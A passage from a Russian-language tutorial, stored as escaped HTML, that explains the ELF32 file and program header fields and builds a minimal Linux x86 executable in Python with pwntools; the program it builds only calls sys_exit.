align=\"left\">\u0411\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0435 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\"><code>Elf32_Sword<\/code><\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0417\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0447\u0438\u0441\u043b\u043e<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\"><code>Elf32_Word<\/code><\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0411\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0447\u0438\u0441\u043b\u043e<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\"><code>unsigned char<\/code><\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"center\">1<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"center\">1<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0411\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u043e\u0435 \u0447\u0438\u0441\u043b\u043e<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u0421\u0430\u043c\u0438 \u0436\u0435 \u043f\u043e\u043b\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u0438\u043c\u0435\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435:<\/p>\n<ul>\n<li>\n<p><code>e_ident<\/code> \u2014 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 ELF-\u0444\u0430\u0439\u043b\u0430 (\u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d \u043d\u0438\u0436\u0435)<\/p>\n<\/li>\n<li>\n<p><code>e_type<\/code> \u2014 \u0442\u0438\u043f ELF-\u0444\u0430\u0439\u043b\u0430, \u0434\u043b\u044f \u043d\u0430\u0448\u0438\u0445 \u0446\u0435\u043b\u0435\u0439 \u043f\u043e\u0434\u043e\u0439\u0434\u0451\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 2 \u00ab\u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b\u00bb<\/p>\n<\/li>\n<li>\n<p><code>e_machine<\/code> \u2014 \u043f\u043e\u043b\u0435 \u043f\u0440\u0438\u0437\u0432\u0430\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0443\u044e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 ELF-\u0444\u0430\u0439\u043b\u043e\u043c, \u043d\u043e \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430 \u0434\u0435\u043b\u0435 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f. \u0412 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435 \u0443\u043a\u0430\u0437\u0430\u043d \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0437 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0435\u0440\u0432\u044b\u0445 \u0442\u0438\u043f\u043e\u0432, \u043d\u043e \u043e\u043d \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 GCC \u043d\u0430 \u043c\u043e\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0441\u0442\u0430\u0432\u0438\u0442 \u0442\u0438\u043f <code>0x3e<\/code> \u00abAdvanced Micro Devices X86-64\u00bb), \u0432\u044b\u0431\u0435\u0440\u0435\u043c 3 \u00abIntel 80386\u00bb \u043f\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0435, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0439 \u043d\u0438\u0436\u0435<\/p>\n<\/li>\n<li>\n<p><code>e_version<\/code> \u2014 \u0435\u0441\u043b\u0438 \u0432\u0435\u0440\u0438\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0443, \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0440\u0430\u0432\u043d\u043e 1<\/p>\n<\/li>\n<li>\n<p><code>e_entry<\/code> \u2014 \u0432\u0430\u0436\u043d\u043e\u0435 \u0434\u043b\u044f \u043d\u0430\u0441 \u043f\u043e\u043b\u0435, \u0430\u0434\u0440\u0435\u0441 \u0442\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 (\u043d\u0435 \u043e\u0442 \u043d\u0430\u0447\u0430\u043b\u0430 \u0444\u0430\u0439\u043b\u0430)<\/p>\n<\/li>\n<li>\n<p><code>e_phoff<\/code> \u2014 \u0435\u0449\u0451 \u043e\u0434\u043d\u043e \u0432\u0430\u0436\u043d\u043e\u0435 \u043f\u043e\u043b\u0435, \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043e\u0442 \u043d\u0430\u0447\u0430\u043b\u0430 \u0444\u0430\u0439\u043b\u0430 \u0434\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b (Program Header), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 ELF-\u0444\u0430\u0439\u043b\u0430<\/p>\n<\/li>\n<li>\n<p><code>e_shoff<\/code> \u2014 \u043f\u043e\u043b\u0435, \u0437\u0430\u0434\u0430\u044e\u0449\u0435\u0435 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0434\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0441\u0435\u043a\u0446\u0438\u0439 (Section Header), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u043b\u0438\u043d\u043a\u043e\u0432\u043a\u0438 \u0444\u0430\u0439\u043b\u0430, \u0434\u043b\u044f \u043d\u0430\u0448\u0438\u0445 \u0446\u0435\u043b\u0435\u0439 \u0435\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <strong>\u043d\u0435 \u0438\u0433\u0440\u0430\u0435\u0442 \u0440\u043e\u043b\u0438<\/strong> \u0438 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u0430\u0436\u043d\u043e \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c<\/p>\n<\/li>\n<li>\n<p><code>e_flags<\/code> \u2014 \u043f\u043e\u043b\u0435 \u0437\u0430\u0434\u0430\u044e\u0449\u0435\u0435 \u0444\u043b\u0430\u0433\u0438, \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0435 \u0434\u043b\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430, \u043a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u0432\u0430\u0436\u043d\u044b<\/p>\n<\/li>\n<li>\n<p><code>e_ehsize<\/code> \u2014 \u0440\u0430\u0437\u043c\u0435\u0440 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 ELF-\u0444\u0430\u0439\u043b\u0430, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043a\u0430\u0436\u0443\u0449\u0443\u044e\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u043c\u043e\u0441\u0442\u044c, \u044f\u0434\u0440\u043e Linux \u0432\u0438\u0434\u0438\u043c\u043e \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044f \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0444\u0430\u0439\u043b\u0430<\/p>\n<\/li>\n<li>\n<p><code>e_phentsize<\/code> \u2014 \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432 \u043c\u043e\u0451\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e 32 \u0431\u0430\u0439\u0442\u0430, \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c \u043f\u043e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438<\/p>\n<\/li>\n<li>\n<p><code>e_phnum<\/code> \u2014 \u0447\u0438\u0441\u043b\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, 1<\/p>\n<\/li>\n<li>\n<p><code>e_shentsize<\/code> \u2014 \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0441\u0435\u043a\u0446\u0438\u0438, 0<\/p>\n<\/li>\n<li>\n<p><code>e_shnum<\/code> \u2014 \u0447\u0438\u0441\u043b\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0441\u0435\u043a\u0446\u0438\u0438, \u0434\u043e\u043b\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 0<\/p>\n<\/li>\n<li>\n<p><code>e_shstrndx<\/code> \u2014 \u0438\u043d\u0434\u0435\u043a\u0441 \u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0441\u0435\u043a\u0446\u0438\u0438, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0441\u0435\u043a\u0446\u0438\u0438 \u0441 \u0442\u0430\u0431\u043b\u0438\u0446\u0435\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u044b\u0445 \u0438\u043c\u0451\u043d, \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 0<\/p>\n<\/li>\n<\/ul>\n<p>\u041d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043f\u0440\u043e\u0447\u0442\u0435\u043d\u0438\u044f \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u043a\u0430\u043a\u043e\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c endianness \u0443 \u0447\u0438\u0441\u0435\u043b \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 \u043d\u0438\u0436\u0435, \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u043f\u0440\u043e ELF identification. \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 ELF-\u0444\u0430\u0439\u043b\u0430 \u0438\u043c\u0435\u0435\u0442 \u0434\u043b\u0438\u043d\u0443 16 \u0431\u0430\u0439\u0442 (\u043a\u0430\u043a \u0431\u044b\u043b\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u043e \u0432\u044b\u0448\u0435) \u0438 \u0438\u043c\u0435\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443:<\/p>\n<ul>\n<li>\n<p>\u0421\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430: <code>\\x7fELF<\/code>, \u0438\u043b\u0438 <code>7f 45 4c 46<\/code> \u0432 \u0448\u0435\u0441\u0442\u0430\u043d\u0434\u0446\u0430\u0442\u0438\u0440\u0438\u0447\u043d\u043e\u043c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0438<\/p>\n<\/li>\n<li>\n<p>\u041a\u043b\u0430\u0441\u0441 \u0444\u0430\u0439\u043b\u0430: 1 \u0434\u043b\u044f ELF32, 2 \u0434\u043b\u044f ELF64<\/p>\n<\/li>\n<li>\n<p>\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435: 1 \u0434\u043b\u044f little-endian, 2 \u0434\u043b\u044f big-endian<\/p>\n<\/li>\n<li>\n<p>\u0412\u0435\u0440\u0441\u0438\u044f: \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u043f\u043e\u043b\u044e \u0432\u0435\u0440\u0441\u0438\u0438 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435, 1<\/p>\n<\/li>\n<li>\n<p>\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435: 9 \u043d\u0443\u043b\u0435\u0439 \u0434\u043b\u044f \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043e 16 \u0431\u0430\u0439\u0442, \u043f\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0443 \u0438\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f<\/p>\n<\/li>\n<\/ul>\n<p>\u0421\u0438\u043b\u044c\u043d\u043e \u043d\u0438\u0436\u0435, \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 Intel identification, \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0434\u043b\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c little-endian \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0430 \u0432 \u043f\u043e\u043b\u0435 <code>e_machine<\/code> \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 3.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0441\u0451 \u0433\u043e\u0442\u043e\u0432\u043e \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0435\u0440\u0432\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0444\u0430\u0439\u043b\u0430:<\/p>\n<pre><code class=\"python\">elf_header = bytes([     *b'\\x7fELF', 1, 1, 1, *([0] * 9), # e_ident     *2 .to_bytes(2, 'little'), # e_type     *3 .to_bytes(2, 'little'), # e_machine     *1 .to_bytes(4, 'little'), # e_version     *0 .to_bytes(4, 'little'), # e_entry TODO     *52 .to_bytes(4, 'little'), # e_phoff     *0 .to_bytes(4, 'little'), # e_shoff     *0 .to_bytes(4, 'little'), # e_flags     *52 .to_bytes(2, 'little'), # e_ehsize     *32 .to_bytes(2, 'little'), # e_phentsize     *1 .to_bytes(2, 'little'), # e_phnum     *0 .to_bytes(2, 'little'), # e_shentsize     *0 .to_bytes(2, 'little'), # e_shnum     *0 .to_bytes(2, 'little'), # e_shstrndx ])<\/code><\/pre>\n<p>\u0417\u0434\u0435\u0441\u044c \u043f\u043e\u043a\u0430 \u043f\u0440\u043e\u043f\u0443\u0449\u0435\u043d\u043e \u043f\u043e\u043b\u0435 <code>e_entry<\/code>, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043a\u0430 \u043d\u0435 \u0437\u043d\u0430\u0435\u043c, \u043a\u0430\u043a \u0435\u0433\u043e \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0440\u0430 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u0442\u044c \u043a \u0432\u0442\u043e\u0440\u043e\u043c\u0443 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443 \u2014 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u0415\u0433\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043a:<\/p>\n<pre><code class=\"cpp\">typedef struct {     Elf32_Word p_type;     Elf32_Off  p_offset;     Elf32_Addr p_vaddr;     Elf32_Addr p_paddr;     Elf32_Word p_filesz;     Elf32_Word p_memsz;     Elf32_Word p_flags;     Elf32_Word p_align; } Elf32_Phdr;<\/code><\/pre>\n<p>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0439:<\/p>\n<ul>\n<li>\n<p><code>p_type<\/code> \u2014 \u0442\u0438\u043f \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430, \u0432 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 1 \u00ab\u0417\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u044b\u0439\u00bb<\/p>\n<\/li>\n<li>\n<p><code>p_offset<\/code> \u2014 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043e\u0442 \u043d\u0430\u0447\u0430\u043b\u0430 \u0444\u0430\u0439\u043b\u0430 \u0434\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430<\/p>\n<\/li>\n<li>\n<p><code>p_vaddr<\/code> \u2014 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430<\/p>\n<\/li>\n<li>\n<p><code>p_paddr<\/code> \u2014 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u041e\u0421, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0430\u0434\u0440\u0435\u0441\u0430\u0446\u0438\u044e<\/p>\n<\/li>\n<li>\n<p><code>p_filesz<\/code> \u2014 \u0440\u0430\u0437\u043c\u0435\u0440 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u0432 \u0444\u0430\u0439\u043b\u0435<\/p>\n<\/li>\n<li>\n<p><code>p_memsz<\/code> \u2014 \u0440\u0430\u0437\u043c\u0435\u0440 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043c\u0435\u043d\u044c\u0448\u0435 <code>p_filesz<\/code>, \u0435\u0441\u043b\u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u2014 \u0445\u0432\u043e\u0441\u0442 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0443\u043b\u044f\u043c\u0438<\/p>\n<\/li>\n<li>\n<p><code>p_flags<\/code> \u2014 \u0444\u043b\u0430\u0433\u0438 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430, \u0432 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 5, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0431\u0438\u0442 1 \u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438 4 \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435<\/p>\n<\/li>\n<li>\n<p><code>p_align<\/code> \u2014 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u043e\u0435 \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430, \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043e\u043d\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0441\u0435\u043c \u043b\u044e\u0431\u044b\u043c, \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u043f\u043e\u0434\u043e\u0448\u043b\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>0x1000<\/code>, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438<\/p>\n<\/li>\n<\/ul>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b:<\/p>\n<pre><code class=\"python\">program_header = bytes([     *1 .to_bytes(4, 'little'), # p_type     *0 .to_bytes(4, 'little'), # p_offset TODO     *0 .to_bytes(4, 'little'), # p_vaddr TODO     *0 .to_bytes(4, 'little'), # p_paddr TODO     *0 .to_bytes(4, 'little'), # p_filesz TODO     *0 .to_bytes(4, 'little'), # p_memsz TODO     *5 .to_bytes(4, 'little'), # p_flags     *0x1000 .to_bytes(4, 'little'), # p_align ])<\/code><\/pre>\n<p>\u0412 \u044d\u0442\u043e\u043c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u0443\u0436\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u043c\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u043d\u0430 \u0431\u0443\u0434\u0443\u0449\u0435\u0435, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043d\u0430\u0434\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043e\u0434 \u0441\u0430\u043c\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u0414\u043b\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u044b \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434:<\/p>\n<pre><code class=\"assembly\">mov eax, 1 ; \u043d\u043e\u043c\u0435\u0440 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 sys_exit xor ebx, ebx ; \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u044b\u0439 status-code int 0x80 ; \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u043d\u0438\u0435 syscall \u0432 Linux<\/code><\/pre>\n<p>\u0414\u043b\u044f \u0441\u0431\u043e\u0440\u043a\u0438 \u0444\u0430\u0439\u043b\u0430 \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e <a href=\"https:\/\/docs.pwntools.com\/en\/stable\/\" rel=\"noopener noreferrer nofollow\">pwntools<\/a>, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u043a\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"python\">from pwn import *    MEMORY_START = 0x1000  code = asm(f''' mov eax, 1 xor ebx, ebx int 0x80 ''', arch = 'x86', os = 'linux')  elf_header = bytes([     *b'\\x7fELF', 1, 1, 1, *([0] * 9), # e_ident     *2 .to_bytes(2, 'little'), # e_type     *3 .to_bytes(2, 'little'), # e_machine     *1 .to_bytes(4, 'little'), # e_version     *(MEMORY_START + 84).to_bytes(4, 'little'), # e_entry     *52 .to_bytes(4, 'little'), # e_phoff     *0 .to_bytes(4, 'little'), # e_shoff     *0 .to_bytes(4, 'little'), # e_flags     *52 .to_bytes(2, 'little'), # e_ehsize     *32 .to_bytes(2, 'little'), # e_phentsize     *1 .to_bytes(2, 'little'), # e_phnum     *0 .to_bytes(2, 'little'), # e_shentsize     *0 .to_bytes(2, 'little'), # e_shnum     *0 .to_bytes(2, 'little'), # e_shstrndx ])  program_header = bytes([     *1 .to_bytes(4, 'little'), # p_type     *0 .to_bytes(4, 'little'), # p_offset     *MEMORY_START.to_bytes(4, 'little'), # p_vaddr     *MEMORY_START.to_bytes(4, 'little'), # p_paddr     *(84 + len(code)).to_bytes(4, 'little'), # p_filesz     *(84 + len(code)).to_bytes(4, 'little'), # p_memsz     *5 .to_bytes(4, 'little'), # p_flags     *0x1000 .to_bytes(4, 'little'), # p_align ])  print(len(elf_header), elf_header) print(len(program_header), program_header) print(len(code), code)  with open('.\/result', 'wb') as f:     f.write(elf_header)     f.write(program_header)     f.write(code)<\/code><\/pre>\n<p>\u0417\u0430 \u043a\u0430\u0434\u0440\u043e\u043c \u043e\u0441\u0442\u0430\u043b\u0441\u044f \u0432\u044b\u0431\u043e\u0440 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 <code>p_vaddr<\/code> \u0438 <code>p_paddr<\/code>. \u041d\u0430 \u043c\u043e\u0435\u0439 